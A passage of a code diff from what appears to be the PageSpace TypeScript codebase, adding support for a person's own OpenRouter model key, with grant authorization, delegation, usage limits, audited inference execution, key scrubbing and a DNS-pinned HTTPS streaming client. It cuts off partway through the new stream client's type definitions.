+ /** The live session driving the call; null = unattended (a workflow, a cron, an agent-to-agent hop): the person's inference delegation stands for them. */
+ readonly sessionId: SessionId | null;
+ readonly conversationId: ConversationId;
+ readonly runId: RunId;
+};
+
+export type InferenceRefusal = {
+ readonly ok: false;
+ /**
+ * `no_model_key`: the person has no usable key. `limits_exceeded`: the hourly or concurrency ceiling.
+ * Everything else means the call never reached OpenRouter, or may have (`outcome_unknown`).
+ */
+ readonly reason: 'no_model_key' | 'request_refused' | 'limits_exceeded' | 'refused' | 'upstream_unreachable' | 'audit_unavailable' | 'plane_unavailable' | 'outcome_unknown';
+};
+
+export type ModelKeyChangeResult =
+ | { readonly ok: true; readonly account: SafeAccount | null }
+ | { readonly ok: false; readonly reason: 'key_invalid' | 'plane_unavailable' | 'store_refused' };
+
export type AccountAuthority = {
+ /** The person's active model key, as safe metadata (never the key); null when they have none. */
+ readonly getModelKey: (input: { readonly actor: AccessActor }) => Promise;
+ /** Store a new model key (write-only to the plane) with its bounded policy and inference delegation, retiring any previous one. */
+ readonly setModelKey: (input: { readonly actor: AccessActor; readonly apiKey: string }) => Promise;
+ /** Revoke the person's model key; their calls go back to PageSpace's key. */
+ readonly removeModelKey: (input: { readonly actor: AccessActor }) => Promise;
+ /** One model call on the person's own key, streamed through the plane's inference executor. */
+ readonly requestInference: (input: { readonly caller: InferenceCaller; readonly body: string; readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | InferenceRefusal>;
readonly createAccount: (input: { readonly actor: AccessActor; readonly owner: AccountOwnerTarget; readonly input: CreateAccountInput }) => Promise;
/** `allowedDriveIds`: the caller's credential ceiling (`[]` = none); accounts outside it are not listed. */
readonly listAccounts: (input: { readonly actor: AccessActor; readonly owner: AccountOwnerTarget; readonly allowedDriveIds?: readonly string[] }) => Promise;
@@ -310,7 +341,8 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth
/** The row, when the actor may change it (`grant`) and it is live; null otherwise. */
async function changeable(accountId: string, actor: AccessActor): Promise {
const row = await deps.accounts.find(accountId);
- if (row === null || row.status !== 'active' || row.credentialVersion < 1) return null;
+ // A model key is changed only through set/removeModelKey: no origins, bindings or delegations of its own (ADR 0009).
+ if (row === null || row.status !== 'active' || row.credentialVersion < 1 || isModelKeyAccount(row)) return null;
return (await accessOf(row, actor)).grant ? row : null;
}
@@ -417,7 +449,116 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth
return decideAccountCreatePermission({ owner: ownerRef, actorUserId: actor.userId as UserId, humanDriveRole: role }) ? { ok: true, ownerRef } : { ok: false, reason: 'forbidden' };
}
+ /** The person's active, provisioned model keys (normally one; more only between a set and the old key's revoke). */
+ async function activeModelKeys(userId: string): Promise {
+ const rows = await deps.accounts.listForUser(userId);
+ return rows
+ .filter((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0)
+ .sort((a, b) => b.createdAt.getTime() - a.createdAt.getTime());
+ }
+
+ async function retire(row: AgentAccountRecord): Promise {
+ const ref = refOf(row);
+ const done = row.credentialVersion === 0 ? await deps.plane.delete({ ref }) : await deps.plane.revoke({ ref });
+ if (!done.ok && done.reason !== 'not_found') return false;
+ return (await deps.accounts.markRevoked({ id: row.id, at: deps.now() })) !== null;
+ }
+
return {
+ async getModelKey({ actor }) {
+ const [newest] = await activeModelKeys(actor.userId);
+ return newest === undefined ? null : toSafeAccount({ row: newest });
+ },
+
+ async setModelKey({ actor, apiKey }) {
+ const input = decideModelKeyInput({ apiKey });
+ if (!input.ok) return input;
+ const userId = actor.userId as UserId;
+ const previous = await activeModelKeys(userId);
+ const ownerRef: AccountOwnerRef = { kind: 'user', userId };
+ const tenantId = deriveTenantId({ owner: ownerRef });
+ const row = await deps.accounts.insert({
+ draft: { kind: 'api_key', name: MODEL_KEY_ACCOUNT_NAME, allowedOrigins: [INFERENCE_ORIGIN], acknowledgment: 'dedicated_agent_account', providerSlug: MODEL_KEY_PROVIDER_SLUG },
+ owner: ownerRef,
+ tenantId,
+ approvalPolicy: modelKeyApprovalPolicy({ approver: userId }),
+ });
+ const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash });
+ const put = await deps.plane.put({
+ ref: { tenantId, accountId: row.id, kind: 'api_key' },
+ material: { kind: 'api_key', material: { value: input.apiKey, placement: MODEL_KEY_PLACEMENT } },
+ bindings: bindings as unknown as Record,
+ scope: scope as unknown as Record,
+ consenters: { kind: 'owner' },
+ });
+ if (!put.ok) {
+ // As createAccount: only a definite refusal stored nothing. An uncertain one keeps the row (revoked, so it
+ // is never used) for the plane's orphan sweep to reconcile, rather than orphaning material in the vault.
+ const definite = put.reason === 'kind_mismatch' || put.reason === 'consenters_invalid' || put.reason === 'identity_refused' || put.reason === 'version_conflict';
+ if (definite) await deps.accounts.remove(row.id);
+ else await deps.accounts.markRevoked({ id: row.id, at: deps.now() });
+ return { ok: false, reason: definite ? 'store_refused' : 'plane_unavailable' };
+ }
+ await deps.accounts.setCredentialVersion({ id: row.id, version: put.version });
+ // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only.
+ await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS });
+ for (const old of previous) await retire(old);
+ const stored = await deps.accounts.find(row.id);
+ return stored === null ? { ok: false, reason: 'store_refused' } : { ok: true, account: toSafeAccount({ row: stored }) };
+ },
+
+ async removeModelKey({ actor }) {
+ for (const row of await activeModelKeys(actor.userId)) {
+ if (!(await retire(row))) return { ok: false, reason: 'plane_unavailable' };
+ }
+ return { ok: true, account: null };
+ },
+
+ async requestInference({ caller, body, signal }) {
+ const now = deps.now();
+ const [row] = await activeModelKeys(caller.userId);
+ if (row === undefined) return { ok: false, reason: 'no_model_key' };
+ const delegation: DelegationFact =
+ caller.sessionId !== null ? { kind: 'none' } : ((await deps.accounts.activeDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: caller.userId, now })) ?? { kind: 'none' });
+ const counted = await deps.plane.usage({ ref: refOf(row) });
+ const usage: UsageCounters = counted.ok ? { usesThisHour: counted.usesThisHour, bytesOutThisHour: counted.bytesOutThisHour, concurrent: counted.concurrent } : ZERO_USAGE;
+ const verdict = authorizeInference({
+ caller: {
+ actorUserId: caller.userId,
+ actingHumanUserId: caller.userId,
+ sessionId: caller.sessionId,
+ conversationId: caller.conversationId,
+ runId: caller.runId,
+ // The key is the person's own and pays for their calls; a drive-scoped token limits drive access, not whose key runs.
+ callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null },
+ },
+ account: row,
+ facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation, ceilingAdmitsAccount: true },
+ body,
+ sha256: deps.sha256,
+ approvals: [],
+ usage,
+ presenter: { keyId: deps.presenterKeyId, channel: 'inference-executor' },
+ now,
+ grantId: newId() as GrantId,
+ nonce: newId() as Nonce,
+ ttlMs: GRANT_TTL_MS,
+ hash: deps.hash,
+ });
+ if (!verdict.ok) {
+ if (verdict.reason === 'limits_exceeded') return { ok: false, reason: 'limits_exceeded' };
+ if (verdict.reason === 'request_refused') return { ok: false, reason: 'request_refused' };
+ // Anything else (no delegation, a policy that no longer covers it) means the key cannot be used as stored.
+ return { ok: false, reason: 'no_model_key' };
+ }
+ const signature = signGrant({ grant: verdict.grant, key: deps.authorityKey });
+ const started = await deps.plane.inferStream(
+ { grant: verdict.grant, signature, body, run: { human: verdict.grant.human, agentPageId: null, conversationId: verdict.grant.conversationId, runId: verdict.grant.runId } },
+ { signal },
+ );
+ return started.ok ? started : { ok: false, reason: started.reason };
+ },
+
async createAccount({ actor, owner, input }) {
const actorUserId = actor.userId as UserId;
const ownerRef = await ownerRefFor(owner, actorUserId);
@@ -459,7 +600,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth
async listAccounts({ actor, owner, allowedDriveIds = [] }) {
const actorUserId = actor.userId as UserId;
const withinCeiling = (row: AgentAccountRecord) => isDriveWithinCredentialScope(allowedDriveIds, row.ownerDriveId);
- if (owner.kind === 'user') return (await deps.accounts.listForUser(actorUserId)).filter(withinCeiling).map((row) => toSafeAccount({ row }));
+ if (owner.kind === 'user') return (await deps.accounts.listForUser(actorUserId)).filter((row) => withinCeiling(row) && !isModelKeyAccount(row)).map((row) => toSafeAccount({ row }));
// Decided from the caller's standing on the page BEFORE any row is read, so a refusal says nothing about
// whether the page has accounts (review LOW-2).
const driveId = await deps.facts.pageDrive(owner.agentPageId);
diff --git a/packages/lib/src/agent-accounts/authorize.ts b/packages/lib/src/agent-accounts/authorize.ts
index 32bf6a11b4..58d09819d1 100644
--- a/packages/lib/src/agent-accounts/authorize.ts
+++ b/packages/lib/src/agent-accounts/authorize.ts
@@ -59,6 +59,7 @@ import { canonicalizeRequest } from './canonicalize-request';
import { digestRequest } from './digest-request';
import { renderApprovalSubject } from './render-approval-subject';
import { decideApproval } from './decide-approval';
+import { canonicalizeInferenceRequest, isModelKeyAccount } from './inference/model-key';
import { decideDestination, type DestinationVerdict } from './decide-destination';
import { planeBindingsFor } from './plane-bindings-for';
import { digestBindings } from './store/digest-bindings';
@@ -162,6 +163,7 @@ export function pagePermissionSuffices(account: Pick, kinds: readonly AgentAccountRecord['kind'][]): AuthorizeRefusal | null {
@@ -198,6 +200,8 @@ export function authorize(input: AuthorizeInput): AuthorizeVerdict {
const refused = entitle(input, HTTP_KINDS);
if (refused !== null) return refused;
const account = input.account!;
+ // A person's model key is never an agent's tool: only `authorizeInference` issues grants for it (ADR 0009).
+ if (isModelKeyAccount(account)) return { ok: false, reason: 'kind_not_supported' };
const canonicalized = canonicalizeRequest({ request: input.request, providerSlug: account.providerSlug, registry: input.registry });
if (!canonicalized.ok) return { ok: false, reason: 'request_refused', rule: canonicalized.reason };
const canonical = canonicalized.canonical;
@@ -223,6 +227,28 @@ export function authorizeSsh(input: Omit
return issue(input, account, canonicalized.canonical);
}
+/**
+ * `authorizeInference` — one model call on the person's own model key (ADR 0009). The same intersection,
+ * narrowed: the account must be a user-owned model key of the acting human, the call is never an agent
+ * page's (`agentPageId` is forced to null, so a page agent's binding can neither widen nor be needed), and
+ * the body is canonicalized against the pinned OpenRouter endpoint. A live session or the person's standing
+ * inference delegation stands for the human. Pure.
+ */
+export function authorizeInference(input: Omit & { readonly caller: Omit; readonly body: string; readonly sha256: HashBytes }): AuthorizeVerdict {
+ const caller: AuthorizeCaller = { ...input.caller, agentPageId: null };
+ const facts: AuthorizeFacts = { ...input.facts, agentPagePermission: 'none', agentBoundToAccount: false };
+ const scoped = { ...input, caller, facts };
+ const account = input.account;
+ if (account === null || !isModelKeyAccount(account) || account.ownerKind !== 'user' || account.ownerUserId !== caller.actingHumanUserId) return UNAVAILABLE;
+ const refused = entitle(scoped, INFERENCE_KINDS);
+ if (refused !== null) return refused;
+ const canonicalized = canonicalizeInferenceRequest({ body: input.body, sha256: input.sha256 });
+ if (!canonicalized.ok) return { ok: false, reason: 'request_refused', rule: 'malformed' };
+ const destination = decideDestination({ url: `${canonicalized.canonical.origin}${canonicalized.canonical.path}`, allowedOrigins: account.allowedOrigins as CanonicalRequest['origin'][], hop: 'initial' });
+ if (!destination.allow) return { ok: false, reason: 'destination_denied', rule: destination.reason };
+ return issue(scoped, account, canonicalized.canonical);
+}
+
/** Steps 4–5 for a canonical request the caller already admitted: digest, approval, and the unsigned grant. */
function issue(input: Omit, account: AgentAccountRecord, canonical: CanonicalRequest): AuthorizeVerdict {
const { caller, facts } = input;
@@ -263,7 +289,7 @@ function issue(input: Omit, account: Age
const grant: AgentAccountGrant = {
grantId: input.grantId,
iss: 'pagespace-account-authority',
- aud: canonical.channel === 'ssh-executor' ? 'ssh-executor' : 'http-executor',
+ aud: canonical.channel === 'ssh-executor' ? 'ssh-executor' : canonical.channel === 'inference-executor' ? 'inference-executor' : 'http-executor',
tenantId: account.tenantId as TenantId,
human: { userId: caller.actingHumanUserId, sessionId: caller.sessionId },
delegationId: caller.sessionId === null && facts.delegation.kind === 'delegation' ? facts.delegation.delegationId : null,
diff --git a/packages/lib/src/agent-accounts/canonical-request.ts b/packages/lib/src/agent-accounts/canonical-request.ts
index 2fe8749ac6..c4c03091a0 100644
--- a/packages/lib/src/agent-accounts/canonical-request.ts
+++ b/packages/lib/src/agent-accounts/canonical-request.ts
@@ -19,6 +19,8 @@ export type RelayMethod = 'git-receive-pack' | 'git-upload-pack' | 'lfs-batch' |
export type BrowserMethod = 'navigate' | 'click' | 'type' | 'read' | 'wait' | 'fill';
/** One SSH command on the account's pinned host (slice 5). */
export type SshMethod = 'EXEC';
+/** One model call to the person's pinned inference endpoint (ADR 0009). */
+export type InferenceMethod = 'POST';
/** The closed method set per channel; anything else is `malformed`. */
export type MethodFor = {
@@ -26,6 +28,7 @@ export type MethodFor = {
readonly 'relay-runner': RelayMethod;
readonly 'browser-worker': BrowserMethod;
readonly 'ssh-executor': SshMethod;
+ readonly 'inference-executor': InferenceMethod;
};
/**
diff --git a/packages/lib/src/agent-accounts/canonicalize-request.ts b/packages/lib/src/agent-accounts/canonicalize-request.ts
index 0ba95b8a46..f69e156715 100644
--- a/packages/lib/src/agent-accounts/canonicalize-request.ts
+++ b/packages/lib/src/agent-accounts/canonicalize-request.ts
@@ -93,6 +93,8 @@ const METHODS_BY_CHANNEL: { readonly [C in ExecutorChannel]: readonly MethodFor[
'browser-worker': ['navigate', 'click', 'type', 'read', 'wait', 'fill'],
// SSH commands are never canonicalized as HTTP: `canonicalizeSshCommand` builds them, so this path refuses them.
'ssh-executor': [],
+ // Model calls are never canonicalized as generic HTTP: `canonicalizeInferenceRequest` builds them (ADR 0009).
+ 'inference-executor': [],
};
/** What every request without exactly one registry match is: never self-declared, never `read`. */
diff --git a/packages/lib/src/agent-accounts/classify-plane-call-failure.ts b/packages/lib/src/agent-accounts/classify-plane-call-failure.ts
index 6cd907361c..a5897894a9 100644
--- a/packages/lib/src/agent-accounts/classify-plane-call-failure.ts
+++ b/packages/lib/src/agent-accounts/classify-plane-call-failure.ts
@@ -12,7 +12,7 @@
* `revoke` report every failure as `plane_unavailable`; their callers keep the
* state that lets the operation be reconciled or repeated.
*/
-export type PlaneRoute = 'put' | 'revoke' | 'delete' | 'describe' | 'rebind' | 'usage' | 'oauthExchange' | 'sshHostKey' | 'sshEnroll' | 'sshExec' | 'execute';
+export type PlaneRoute = 'put' | 'revoke' | 'delete' | 'describe' | 'rebind' | 'usage' | 'oauthExchange' | 'sshHostKey' | 'sshEnroll' | 'sshExec' | 'inferenceStream' | 'execute';
export type PlaneCallFailure =
| { readonly kind: 'timeout' }
@@ -25,7 +25,7 @@ const NEVER_REACHED: ReadonlySet = new Set(['ECONNREFUSED', 'ENOTFOUND',
export function classifyPlaneCallFailure({ route, failure }: { readonly route: PlaneRoute; readonly failure: PlaneCallFailure }): 'plane_unavailable' | 'outcome_unknown' | 'refused' {
// A command that may have reached the plane may have run: never "nothing happened".
- if (route !== 'execute' && route !== 'sshExec') return 'plane_unavailable';
+ if (route !== 'execute' && route !== 'sshExec' && route !== 'inferenceStream') return 'plane_unavailable';
if (failure.kind === 'network' && failure.code !== null && NEVER_REACHED.has(failure.code)) return 'plane_unavailable';
if (failure.kind === 'status' && failure.status >= 400 && failure.status < 500) return 'refused';
return 'outcome_unknown';
diff --git a/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts
index a2dc4433fb..8d3652aa3b 100644
--- a/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts
+++ b/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts
@@ -23,6 +23,7 @@ const deps: PlaneRequestHandlerDeps = {
usage: { window: untouched },
oauth: null,
ssh: null,
+ inference: null,
provisioner: { ensureTenant: untouched, identityOf: untouched },
executor: { execute: untouched } as unknown as PlaneRequestHandlerDeps['executor'],
hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'),
diff --git a/packages/lib/src/agent-accounts/executor/expected-binding-for.ts b/packages/lib/src/agent-accounts/executor/expected-binding-for.ts
index 85594c980d..4d1ce40429 100644
--- a/packages/lib/src/agent-accounts/executor/expected-binding-for.ts
+++ b/packages/lib/src/agent-accounts/executor/expected-binding-for.ts
@@ -45,7 +45,7 @@ export type PlaneAttestedFacts = {
};
/** The executors whose grants this binding is built for. */
-export type BoundExecutor = 'http-executor' | 'ssh-executor';
+export type BoundExecutor = 'http-executor' | 'ssh-executor' | 'inference-executor';
export function expectedBindingFor({
run,
diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts
new file mode 100644
index 0000000000..7f898d2afd
--- /dev/null
+++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts
@@ -0,0 +1,232 @@
+/**
+ * `createInferenceExecutor` — the credential plane's inference executor (ADR 0009). I/O only; the SSH
+ * executor's twin, for one streamed model call on a person's own model key:
+ *
+ * parse ─▶ facts (main-DB row + delegation, plane describe) ─▶ canonicalize the exact body against the
+ * PLANE's pinned origin ─▶ grant gate (verifyGrant, audience inference-executor, one-use nonce) ─▶ policy
+ * usage reserve ─▶ audited execution: resolve the key ─▶ pinned HTTPS stream to openrouter.ai ─▶ scrub
+ * the key from every byte ─▶ record the outcome when the stream ends
+ *
+ * `execute` resolves as soon as the upstream answered (or the call was refused), so the response can be
+ * piped while the audit's outcome row waits for the end of the stream. The key exists only inside `act`,
+ * for one request, and is scrubbed from the released stream in both its raw and `Bearer` forms.
+ */
+import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts';
+import type { DelegationFact, Ed25519Verify, HashBytes, PresenterKeyId, VerifiedGrant } from '../grant';
+import type { PlaneScope, SecretRef, StoreAdapter, StoreIdentity, StoreLimits } from '../store/store-adapter';
+import type { UsageLedger } from '../store/usage-ledger-repository';
+import type { TenantProvisioner } from '../store/infisical-tenant-provisioner-client';
+import type { AgentAccountRepository } from '../agent-account-repository';
+import type { GrantGate } from '../grant-gate-executor';
+import type { AuditedExecutor, AuditedExecution, OperationOutcome } from '../audit-gate-executor';
+import type { PinnedHttpsStreamClient } from './pinned-https-stream';
+import type { PlaneInferenceRefusal } from './plane-wire';
+import { parseGrant } from '../parse-grant';
+import { digestRequest } from '../digest-request';
+import { canonicalizeInferenceRequest, INFERENCE_ORIGIN, INFERENCE_URL, isModelKeyAccount } from '../inference/model-key';
+import { createStreamScrubber } from '../inference/stream-scrubber';
+import { decidePolicyUsage } from './decide-policy-usage';
+import { approvalFactFor } from './approval-fact-for';
+import { expectedBindingFor, type PlaneAttestedFacts, type RunEnvelope } from './expected-binding-for';
+
+export type InferenceExecutorDeps = {
+ readonly store: Pick;
+ readonly provisioner: Pick;
+ readonly accounts: Pick;
+ readonly grantGate: GrantGate;
+ readonly audited: AuditedExecutor;
+ readonly network: PinnedHttpsStreamClient;
+ readonly planeScope: (ref: SecretRef) => Promise;
+ readonly usage: UsageLedger;
+ readonly issuerPublicKey: Uint8Array;
+ readonly presenterKeyId: PresenterKeyId;
+ readonly verify: Ed25519Verify;
+ /** SHA3-256. */
+ readonly hash: HashBytes;
+ /** SHA-256 (the canonical body digest). */
+ readonly sha256: HashBytes;
+ readonly now: () => number;
+ readonly rotationGraceMs: StoreLimits['rotationGraceMs'];
+};
+
+export type InferenceRequest = {
+ /** Untrusted until verified. */
+ readonly grant: unknown;
+ readonly signature: string;
+ /** The exact chat-completions body text. */
+ readonly body: string;
+ readonly run: RunEnvelope;
+};
+
+export type InferenceStarted = {
+ readonly ok: true;
+ /** OpenRouter's own status: a 401/402/429 streams back as OpenRouter wrote it (scrubbed). */
+ readonly status: number;
+ readonly contentType: string;
+ readonly body: AsyncIterable;
+ /** Stop the upstream exchange (the caller went away). */
+ readonly cancel: () => void;
+ /** Settles once the outcome row is written (or could not be). */
+ readonly finished: Promise;
+};
+
+export type InferenceResult = InferenceStarted | PlaneInferenceRefusal;
+
+export type InferenceExecutor = { readonly execute: (input: InferenceRequest) => Promise };
+
+const REFUSED: PlaneInferenceRefusal = { ok: false, reason: 'refused' };
+/** The upstream headers a caller may see: nothing that could carry the key or tracking, only how to read the body. */
+const RELEASED_CONTENT_TYPES = /^(text\/event-stream|application\/json)\b/i;
+
+export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceExecutor {
+ const presenter = { keyId: deps.presenterKeyId, channel: 'inference-executor' as const };
+ const caller = { channel: 'inference-executor' as const, presenterKeyId: deps.presenterKeyId };
+
+ async function deny(claim: unknown, reason: Parameters[0]['reason'], now: number, refusal: PlaneInferenceRefusal = REFUSED): Promise {
+ await deps.audited.recordDenial({ caller, claim: new TextEncoder().encode(JSON.stringify(claim) ?? 'null'), reason, now }).catch(() => undefined);
+ return refusal;
+ }
+
+ async function planeFacts(row: AgentAccountRecord, identity: Omit): Promise {
+ const described = await deps.store.describe({ ref: { tenantId: identity.tenantId, accountId: row.id as never, kind: row.kind }, identity: { ...identity, channel: 'manage' } });
+ return described.ok ? { allowedOrigins: described.bindings.allowedOrigins, version: described.version, previousVersion: described.previousVersion, rotatedAt: described.rotatedAt, revokedAt: described.revokedAt } : null;
+ }
+
+ return {
+ async execute({ grant: claim, signature, body, run }) {
+ const now = deps.now();
+ const parsed = parseGrant({ grant: claim });
+ if (!parsed.ok) return deny(claim, 'malformed', now);
+
+ const row = await deps.accounts.find(parsed.grant.accountId).catch(() => null);
+ // Only a model key reaches this executor, whatever a grant says.
+ if (row !== null && !isModelKeyAccount(row)) return deny(claim, 'kind_not_resolvable', now);
+ const tenant = row === null ? null : await deps.provisioner.identityOf(row.tenantId as never);
+ const identityBase = row === null || tenant === null ? null : { tenantId: row.tenantId as never, identityId: tenant.identityId, blastRadius: 'tenant' as const };
+ const plane = row === null || identityBase === null ? null : await planeFacts(row, identityBase);
+
+ // The plane's pinned origin, never the main-DB row's: it must be OpenRouter and nothing else.
+ const pinnedToInference = plane !== null && plane.allowedOrigins.length === 1 && plane.allowedOrigins[0] === INFERENCE_ORIGIN;
+ const canonicalized = canonicalizeInferenceRequest({ body, sha256: deps.sha256 });
+ if (!canonicalized.ok || !pinnedToInference) return deny(claim, 'digest_mismatch', now);
+ const canonical = canonicalized.canonical;
+
+ const approvalRow = parsed.grant.approvalId === 'policy' ? null : await deps.accounts.findApproval(parsed.grant.approvalId).catch(() => null);
+ const delegation: DelegationFact =
+ parsed.grant.delegationId === null ? { kind: 'none' } : ((await deps.accounts.findDelegation({ delegationId: parsed.grant.delegationId, now }).catch(() => null)) ?? { kind: 'none' });
+ const usageRef: SecretRef | null = row === null ? null : { tenantId: row.tenantId as never, accountId: row.id as never, kind: row.kind };
+ const requestBytes = new TextEncoder().encode(body).byteLength;
+ const policyUsage =
+ parsed.grant.approvalId !== 'policy' || usageRef === null
+ ? { expired: false, limitsExceeded: false }
+ : await Promise.all([deps.planeScope(usageRef), deps.usage.window({ ref: usageRef, now })]).then(
+ ([scope, usage]) => decidePolicyUsage({ policy: scope?.approvalPolicy ?? null, usage, requestBytes, now }),
+ () => ({ expired: true, limitsExceeded: true }),
+ );
+ const verdict = await deps.grantGate.present<'inference-executor'>({
+ grant: claim,
+ signature,
+ issuerPublicKey: deps.issuerPublicKey,
+ now,
+ expected: expectedBindingFor<'inference-executor'>({ run, presenter, row, plane, allowedDriveIds: parsed.grant.callerCeiling.allowedDriveIds, delegation }),
+ requestDigest: digestRequest({ canonical, hash: deps.hash }),
+ requestOperation: canonical.operation,
+ approval: approvalFactFor({ approvalId: parsed.grant.approvalId, approval: approvalRow, policyVersion: row?.policyVersion ?? 0, policyUsage }),
+ verify: deps.verify,
+ hash: deps.hash,
+ rotationGraceMs: deps.rotationGraceMs,
+ });
+ if (!verdict.ok) return deny(claim, verdict.reason, now, verdict.reason === 'approval_mismatch' && policyUsage.limitsExceeded ? { ok: false, reason: 'limits_exceeded' } : REFUSED);
+ if (row === null || identityBase === null || plane === null || usageRef === null) return deny(claim, 'version_mismatch', now);
+ const grant: VerifiedGrant<'inference-executor'> = verdict.grant;
+
+ if (grant.approvalId === 'policy') {
+ const scope = await deps.planeScope(usageRef).catch(() => null);
+ const reserved = await deps.usage.reserve({
+ ref: usageRef,
+ grantId: grant.grantId,
+ bytes: requestBytes,
+ now,
+ admits: (usage) => {
+ const decision = decidePolicyUsage({ policy: scope?.approvalPolicy ?? null, usage, requestBytes, now });
+ return !decision.expired && !decision.limitsExceeded;
+ },
+ });
+ if (!reserved) return deny(claim, 'approval_mismatch', now, { ok: false, reason: 'limits_exceeded' });
+ }
+
+ let announce: (result: InferenceResult) => void = () => undefined;
+ let finished: Promise = Promise.resolve();
+ const started = new Promise((resolve) => {
+ announce = resolve;
+ });
+
+ const act = async (): Promise => {
+ const resolved = await deps.store.resolve<'inference-executor', 'api_key'>({
+ ref: { tenantId: identityBase.tenantId, accountId: grant.accountId, kind: 'api_key' },
+ version: grant.credentialVersion,
+ grant,
+ identity: { ...identityBase, channel: 'inference-executor' },
+ });
+ if (!resolved.ok) {
+ announce({ ok: false, reason: 'upstream_unreachable' });
+ return { kind: 'upstream_failed', upstreamStatus: null };
+ }
+ const key = resolved.material.value;
+ const target = new URL(INFERENCE_URL);
+ const sent = await deps.network.stream({
+ method: 'POST',
+ url: INFERENCE_URL,
+ hostname: target.hostname,
+ port: 443,
+ headers: [
+ ['accept', 'text/event-stream, application/json'],
+ ['accept-encoding', 'identity'],
+ ['authorization', `Bearer ${key}`],
+ ['content-type', 'application/json'],
+ ['x-title', 'PageSpace'],
+ ],
+ body: new TextEncoder().encode(body),
+ });
+ if (sent.kind !== 'response') {
+ announce({ ok: false, reason: 'upstream_unreachable' });
+ return sent.kind === 'failed' && sent.phase === 'after_send' ? { kind: 'unknown' } : { kind: 'upstream_failed', upstreamStatus: null };
+ }
+ const upstream = sent;
+ const scrubber = createStreamScrubber({ knownValues: [key, `Bearer ${key}`] });
+ async function* released(): AsyncGenerator {
+ for await (const chunk of upstream.body) {
+ const out = scrubber.push(chunk);
+ if (out.byteLength > 0) yield out;
+ }
+ const tail = scrubber.flush();
+ if (tail.byteLength > 0) yield tail;
+ }
+ const contentType = sent.headers.find(([name]) => name === 'content-type')?.[1] ?? '';
+ announce({
+ ok: true,
+ status: sent.status,
+ contentType: RELEASED_CONTENT_TYPES.test(contentType) ? contentType : 'application/octet-stream',
+ body: released(),
+ cancel: sent.abort,
+ finished,
+ });
+ const how = await sent.closed;
+ return how === 'complete' ? { kind: 'executed', upstreamStatus: sent.status } : { kind: 'unknown' };
+ };
+
+ const audited: Promise = deps.audited
+ .execute({ grant, canonical, now, auditResourceKeys: ['model'], act })
+ .catch(() => null)
+ .finally(async () => {
+ if (grant.approvalId === 'policy') await deps.usage.finish({ grantId: grant.grantId, now: deps.now() }).catch(() => undefined);
+ });
+ finished = audited.then(async (result) => {
+ if (result?.ok) await deps.accounts.touchLastUsed({ id: row.id, at: now }).catch(() => undefined);
+ });
+ // `act` never ran (the allowed row was refused) or threw before announcing: say so, never hang.
+ void audited.then((result) => announce(result === null || !result.ok ? { ok: false, reason: 'audit_unavailable' } : { ok: false, reason: 'upstream_unreachable' }));
+ return started;
+ },
+ };
+}
diff --git a/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts b/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts
new file mode 100644
index 0000000000..6de6a71bc9
--- /dev/null
+++ b/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts
@@ -0,0 +1,199 @@
+/**
+ * `createPinnedHttpsStreamClient` — the inference executor's network shell
+ * (ADR 0009). I/O only. The buffered client's rules, for a streamed response:
+ *
+ * - DNS pinning: resolve once, refuse the whole answer if any record is not
+ * public (`decidePinnedAddress`), connect only to the chosen address, verify
+ * TLS against the hostname.
+ * - No redirects (never followed: a 3xx streams back as the upstream's answer),
+ * no upgrades, no connection reuse, no proxy, no decompression (we ask for
+ * `identity`, and the bytes are passed on as sent).
+ * - Limits: a total time for the whole exchange and a byte ceiling on the
+ * response; past either the socket is destroyed and the stream ends early.
+ * - Phase: a failure before the TLS handshake completed is `before_send`;
+ * anything later is `after_send` (the request may have been billed upstream).
+ */
+import { request as httpsRequest } from 'node:https';
+import type { IncomingMessage } from 'node:http';
+import type { LookupAddress } from 'node:dns';
+import type { LookupFunction } from 'node:net';
+import type { OutboundRequest } from '../build-outbound-request';
+import { decidePinnedAddress } from '../decide-pinned-address';
+import type { ResolveHost } from './pinned-https-client';
+
+export type PinnedStreamLimits = {
+ readonly totalTimeoutMs: number;
+ readonly maxResponseBytes: number;
+ readonly maxConcurrent: number;
+};
+
+/** Ten minutes covers the longest reasoning step we run; 64 MiB is far past any chat completion. */
+export const DEFAULT_PINNED_STREAM_LIMITS: PinnedStreamLimits = { totalTimeoutMs: 600_000, maxResponseBytes: 64 * 1024 * 1024, maxConcurrent: 64 };
+
+export type StreamedResponse = {
+ readonly kind: 'response';
+ readonly status: number;
+ readonly headers: readonly (readonly [string, string])[];
+ /** The upstream bytes, in order, until the response ends, errors, hits a limit, or `abort` is called. */
+ readonly body: AsyncIterable;
+ /** Settles once the exchange is over: `complete` only when the upstream ended its response normally. */
+ readonly closed: Promise<'complete' | 'cut'>;
+ readonly abort: () => void;
+};
+
+export type StreamSendOutcome =
+ | StreamedResponse
+ | { readonly kind: 'refused'; readonly reason: 'dns_failed' | 'no_address' | 'non_public_address' | 'busy' }
+ | { readonly kind: 'failed'; readonly phase: 'before_send' | 'after_send'; readonly reason: 'tls' | 'connect' | 'timeout' | 'upgrade_refused' | 'network' };
+
